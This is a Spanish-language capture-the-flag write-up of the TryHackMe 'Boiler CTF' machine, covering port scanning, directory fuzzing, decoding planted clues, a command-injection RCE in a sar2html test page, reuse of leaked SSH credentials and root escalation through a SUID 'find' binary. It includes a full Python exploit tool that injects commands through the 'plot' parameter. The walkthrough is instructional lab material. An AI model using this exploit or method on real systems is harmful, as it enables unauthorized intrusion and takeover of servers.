Resumen de Boiler CTF - TryHackMe
Antes de continuar
Si te interesan los pentesting, operaciones con equipos rojos o ciberseguridad ofensiva, ten claro que leer este post puede hacerte spoiler de la máquina Boiler CTF. Si planeas completar esta máquina, por favor no sigas leyendo.
- Dificultad: Media
- Sistema operativo: Debian 13
Primero configuraré algo para que hackear sea más fácil para mí. En lugar de usar la dirección IP de la máquina, asociaré esa dirección IP a un nombre, así que cada vez que quiera interactuar con la máquina, en vez de escribir "10.81.173.16", a partir de ahora escribiré "boilerctf.lab"

Fase 1: Reconocimiento
Empezando por la primera fase, usaré "nmap" (como siempre) para escanear los puertos abiertos en el objetivo. Como es una máquina, pondré algunos parámetros para acelerar mucho el escaneo y así tardar mucho menos.
sudo nmap -p- -T5 --min-rate 5000 -Pn -o nmap.txt boilerctf.lab

Explicaré los parámetros previamente usados en el comando anterior:
- "-p-": Escanea todos los puertos disponibles (para TCP).
- "-T5": Scan aggressiveness level. The higher the number, the faster packets are sent (El máximo es 5. No se debe usar para tests de penetración reales).
- "--min-rate 5000": Mínimo de paquetes por segundo para enviar (No se debe usar para tests de penetración reales).
- "-Pn": Asume que el sistema objetivo está encendido.
- "-o": Escribir el texto imprimido por pantalla en un fichero (si no existe el fichero, nmap creará uno nuevo).
Ahora sabemos que los puertos abiertos son los siguientes:
- 21: Protocolo FTP (por defecto)
- 80: Protocolo HTTP (por defecto)
- 10000: snet-sensor-mgmt (no sé qué es esto, pero lo descubriré más adelante)
- 55007: "Unknown" (descubriremos qué es esto más adelante también)
Ahora queremos saber más detalles sobre qué servicios están ejecutándose en los puertos descubiertos que se han mostrado anteriormente, y también descubrir qué ocultan los puertos "10000" y "55007". Para eso, usaremos el siguiente comando nmap:
sudo nmap -p21,80,10000,55007 -v -sC -sV -T5 -A -Pn -o sc_nmap.txt boilerctf.lab
En la imagen, ahora podemos ver la información revelada sobre los puertos 10000 y 55007. El puerto 10000 tiene otro servidor HTTP funcionando, y el puerto 55007 también un servidor SSH. Intenté buscar vulnerabilidades en internet y, como era de esperar, estos servicios tenían muchas vulnerabilidades porque las versiones del servicio eran algo antiguas. Sin embargo, la vulnerabilidad que más me interesó fue un RCE ("Remote Command Execution", o en español, "Ejecución remota de comandos") en la aplicación de Webmin (que se ejecutaba en el puerto 10000 mostrado anteriormente).

El RCE del que hablamos es el CVE-2019-15107, que permite la ejecución remota de comandos mediante el parámetro "old" en "password_change.cgi" (un archivo de la aplicación web). Para aprovechar esto, probé a usar este repositorio en github.

Pero como podemos ver, el exploit fue parcheado. Después de intentar hacer algunas soluciones alternativas, empecé a verlo como una página señuelo e intenté buscar diferentes servicios. Decidí empezar desde el principio y ver qué había dentro del servidor FTP. Aparentemente, se permitía el inicio de sesión anónimo en el servidor ftp.

Así que inicié sesión como usuario anónimo en el servidor y observé el contenido del servidor.

Descargué el archivo oculto del servidor FTP llamado ".info.txt" y eché un vistazo a lo que había escrito en él.


Y sí, estaba codificado. De todas formas, no es gran cosa. Investigando un poco descubrí que estaba codificado usando el "cifrado ROT-13". Usé esta página web para descifrar el mensaje, y esto es lo que descubrí.

Así que sí, ponía: "Solo quería ver si lo encuentras. Jaja. Recuerda: ¡La enumeración es la clave!". Bien, sabiendo esto y viendo que no tenemos nada más que explorar, pasé al siguiente puerto, el puerto 80. Debería tener un servidor HTTP ejecutado, pero cuando intento acceder a la página index.html, me sale la página predeterminada, como si el servidor estuviera vacío.

Pero como hemos leído antes, "La enumeración es la clave", así que eso es lo que haremos. Usando "wfuzz" y una lista de palabras que obtuve del repositorio de github de Seclists, hice una enumeración de directorios y descubrí esto:
wfuzz --hc 404 -c -w /usr/share/wordlists/combined_directories.txt -t 200 -u http://boilerctf.lab/FUZZ
NOTA: Cuidado al poner "-t 200". Hace que la enumeración sea mucho más rápida aprovechando el paralelismo (el acto de ejecutar varias tareas simultáneamente), pero genera muchísimo tráfico y, en tests de penetración reales, puede marcarse como un ataque "DOS" y el cortafuegos podría pararte en seco. En general, es mejor no intentar la enumeración sin autorización previa.
Así que podemos ver que tenemos dos directorios llamados "manual" (no tengo ni idea de qué es) y "joomla" (un famoso CMS). Además, tenemos "index.html", que ya hemos visto antes, y "robots.txt", que puede darnos información interesante sobre la página web. Cuando accedí a él, vi esto:

Esto no es un "robots.txt" normal. El archivo robots.txt ayuda a las IAs y bots a encontrar páginas web en tu servidor web. Sin embargo, podemos ver que los directorios listados en esta robots.txt página web son en realidad un mensaje. El mensaje "¿Ahora es una madriguera de conejo, o no?" indica que hay algo que buscar ahí. Por si no has visto lo obvio, hay una larga cadena de números de 3 dígitos. En case de que no lo sepas, esto es en realidad un mensaje codificado en números ASCII, y cada 3 dígitos representa una letra. Podemos decodificar este mensaje usando Python, por ejemplo, con este script sencillo que he creado.
list = []
string = '079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075'
ascii_string = ''
for i in string.split(' '):
list.append(chr(int(i)))
ascii_string = ''.join(list)
print(ascii_string)Como podemos ver, este es el texto escrito en ASCII:
python3 decode.py

Ahora, el formato ha cambiado. La combinación de mayus y minus (así como números) me hace pensar que puede ser base64, así que después intenté descifrar la cadena con este comando:
python3 decode.py | base64 -d
E irónicamente, parece que después de decodificar la cadena base64, obtuvimos un hash MD5, así que este es el final del camino para nosotros ya que no tenemos el "salt", nombres de usuario ni separadores para este hash, así que no podemos descifrarlo. Sigamos con el recuento de todos modos. Ahora, empezaremos a enumerar el directorio "manual" que encontramos antes en el servidor web.
wfuzz --hc 404,403 -c -w /usr/share/wordlists/big.txt -t 200 -f joomla-manual-fuzz.txt -u http://boilerctf.lab/manual/FUZZ
Como hemos visto, tenemos un montón de directorios con lenguajes y dos llamados "imágenes" y "estilo". Primero revisaré qué hay dentro de "es", ya que es mi lengua materna.
wfuzz --hc 404,403 -c -w /usr/share/wordlists/big.txt -t 200 -f joomla-manual-es-fuzz.txt -u http://boilerctf.lab/manual/es/FUZZ
Podemos ver que tenemos un montón de directorios interesantes que enumerar, intentaré enumerar "developer".
wfuzz --hc 404,403 -c -w /usr/share/wordlists/big.txt -t 200 -f joomla-manual-es-developer-fuzz.txt -u http://boilerctf.lab/manual/es/developer/FUZZ
Vale, nada. He hecho más enumeración por mi cuenta, pero te aviso que aquí no hay nada importante. Esto es solo el manual del servidor de Apache 2.4.18, como podéis ver aquí.

Podríamos pasar horas y aún así no encontrar nada, así que vamos a retroceder. Ahora enumeraremos "joomla" para ver qué hay dentro:
wfuzz --hc 404,403 -c -w /usr/share/wordlists/big.txt -t 200 -f joomla-fuzz.txt -u http://boilerctf.lab/joomla/FUZZ
Aquí tenemos cosas interesantes. Los resultados que más me interesan son "_archive", "_database", "_files", "_test" y "administrator". Los cubriremos uno por uno. Aparentemente, son redireccionamientos, son páginas web, no directorios, así que intentemos acceder a "_archive".

No, no tenemos nada (literalmente pone, "Nop, nada que ver aquí."). Probemos con "_database".

Por lo que se ve en el texto, parece que las letras han cambiado su posición original. Parece el Cifrado de César, así que intentemos descifrarlo:

Aún sin nada (pone "Sólo estoy tonteando"). Veamos en "_files".

Ahora tenemos otro texto cifrado en Base64. Vamos a descifrarlo.

De nuevo, vemos el truco del doble cifrado, aunque es algo que se puede esperar una vez que ya lo has visto antes. En fin, tampoco es importante, así que vamos a "_test".

Y ahora, hemos encontrado algo interesante.
Fase 2: Explotación
Hemos conseguido una página web de "prueba". Normalmente, las páginas web de prueba contienen software potencialmente vulnerable (por la naturaleza de la palabra "prueba"). En este ejemplo, si la página web no ha sido debidamente asegurada, es vulnerable, y en este caso, podría estarlo. Para saber si podría serlo, he buscado un poco en Google para comprobar si tiene alguna vulnerabilidad o no, y he encontrado algo interesante:

Una vulnerabilidad de inyección de comando. Parece algo de lo que podemos aprovecharnos. Veré si hay algún exploit disponible usando la herramienta "searchsploit".

Como podemos ver, sí lo hay. Iré a exploitDB para ver de qué va el exploit.

Y podemos ver que es un RCE a través del parámetro "plot" dentro del archivo index.php. Bastante trivial, así que crearé un script sencillo para que algún script kiddie lo use.
#!/usr/bin/env python3
import requests
import argparse
import re
from bs4 import BeautifulSoup as bs
from rich.status import Status
from rich.console import Console
def command():
global args
parser = argparse.ArgumentParser(
prog='sar2rce',
description='CVE-2025-34030 Remote Command Execution exploitation tool.',
epilog='Thanks for supporting me!',
formatter_class=argparse.RawTextHelpFormatter,
)
parser.add_argument('url', help='Example: http://boilerctf.lab/joomla/_test/')
parser.add_argument('command', help='Example: whoami')
args = parser.parse_args()
if not args.url or not args.command:
parser.error(f"No input provided. You must specify the URL and the command to execute on the target.")
return args
def exploit(args):
try:
console = Console()
with Status('[[green]+[/green]]Sending the payload...', spinner='pong', console=console):
req = requests.get(f'{args.url}index.php?plot=;{args.command}')
process_response(req)
except Exception as e:
print(f'Error: {e}')
def process_response(req):
try:
filter = ['null', 'SunOS', 'Linux', 'HPUX']
soup = bs(req.text, 'html.parser')
output = soup.find_all('option')
for i in output:
value = i.get("value", "").strip()
text = i.get_text(strip=True)
if value not in filter:
if 'Select' not in text:
print(text)
except Exception as e:
print(f'Error: {e}')
if __name__=='__main__':
args = command()
exploit(args)Con esto, ahora podemos ejecutar comandos remotamente a través de nuestro terminal.
Como podemos ver, siempre que interactuamos con el servidor web, usamos el usuario www-data, así que todos nuestros privilegios en el sistema objetivo son realmente bajos. Ahora necesitamos una forma de elevar los privilegios (lo que significa que vamos a intentar usar un usuario con más privilegios).

Como era de esperar, estamos dentro del directorio /var/www/html.

Convenientemente para nosotros, hay un archivo dentro del directorio que podría contener información que nos ayude a elevar privilegios (me refiero a "log.txt").

Abrir ese archivo nos muestra un registro ssh que indica el usuario y la contraseña de uno de los usuarios del sistema.

Guardo ese usuario y contraseña dentro de un archivo, y después accedemos al sistema como el usuario "basterd". ¿Recuerdas el puerto 55007? Es hora de aprovechar ese puerto SSH abierto.

Aún no hemos terminado. Todavía tenemos que encontrar la bandera oculta en el sistema. Por ahora, veremos qué hay en nuestro directorio actual.

Podemos ver que hay un archivo llamado "backup.sh", que podría contener información crítica. Veamos qué hay dentro.

Y aparentemente, hay un nombre de usuario y una contraseña dentro del archivo. Sí, después de ver el archivo log.txt, sabía que esto iba a pasar. Ahora guardaré el usuario y la contraseña """"obtenidos"""" del script de copia de seguridad y accederé al sistema.

Por último, listaremos el directorio personal del usuario y ya hemos encontrado la bandera.

Fase 3: Escalada de privilegios
Ahora hemos llegado a la tercera y (casi) última fase de todo pentest. La última fase se supone que trata sobre la postexplotación, es decir, extracción de datos y persistencia, pero en CTF realmente no se ve. En su lugar, necesitamos elevar los privilegios para que se conviertan en "root" (el usuario que tiene todos los privilegios en el sistema). Empezaremos a ver los grupos a los que pertenecemos.

Como podemos ver, este usuario forma parte de muchos grupos diferentes, pero el que más me interesa es el grupo "lxd", que podría ser un factor para aumentar los privilegios. Intenté hacerlo, pero desafortunadamente no fue posible porque el servicio "LXD" estaba inactivo, lo que significaba que no podía construir contenedores LXD.

Así que busqué más factores que pudieran llevar a privilegios de root. Primero, usé el comando "find" para buscar (quién lo diría) cualquier binario en el sistema que tenga el bit SUID activado. Y quién lo iba a pensar, el propio binario que uso para comprobar qué otros binarios tienen el SUID lo tiene activado.

Y para quienes no lo sepan, con "find" podemos ejecutar órdenes. Tener el SUID configurado significa que tenemos permisos de root usando solo ese binario, pero se demostró hace tiempo que rompe la seguridad del sistema (pousandor supuesto, ya que cualquiera podría explotar el SUID para ejecutar un comando malicioso). La parte SUID ha causado tantos problemas que incluso hay una página en Github dedicada a explicar cómo explotar estas vulnerabilidades locales. Hablo de "GTFOBins".

Buscar "find" nos da un resultado que habla de diferentes formas de explotar el binario.

Y podemos ver una forma de generar un shell que nos dé privilegios a nivel de root (básicamente, nos convertimos en root porque saltamos las restricciones y tenemos un ID de usuario que nos permite ver e interactuar con todo en el sistema).

Ahora solo tendríamos que copiar el comando y ejecutarlo en nuestra máquina, y nos convertimos en "root".

Y finalmente, podemos completar la máquina obteniendo la bandera final.
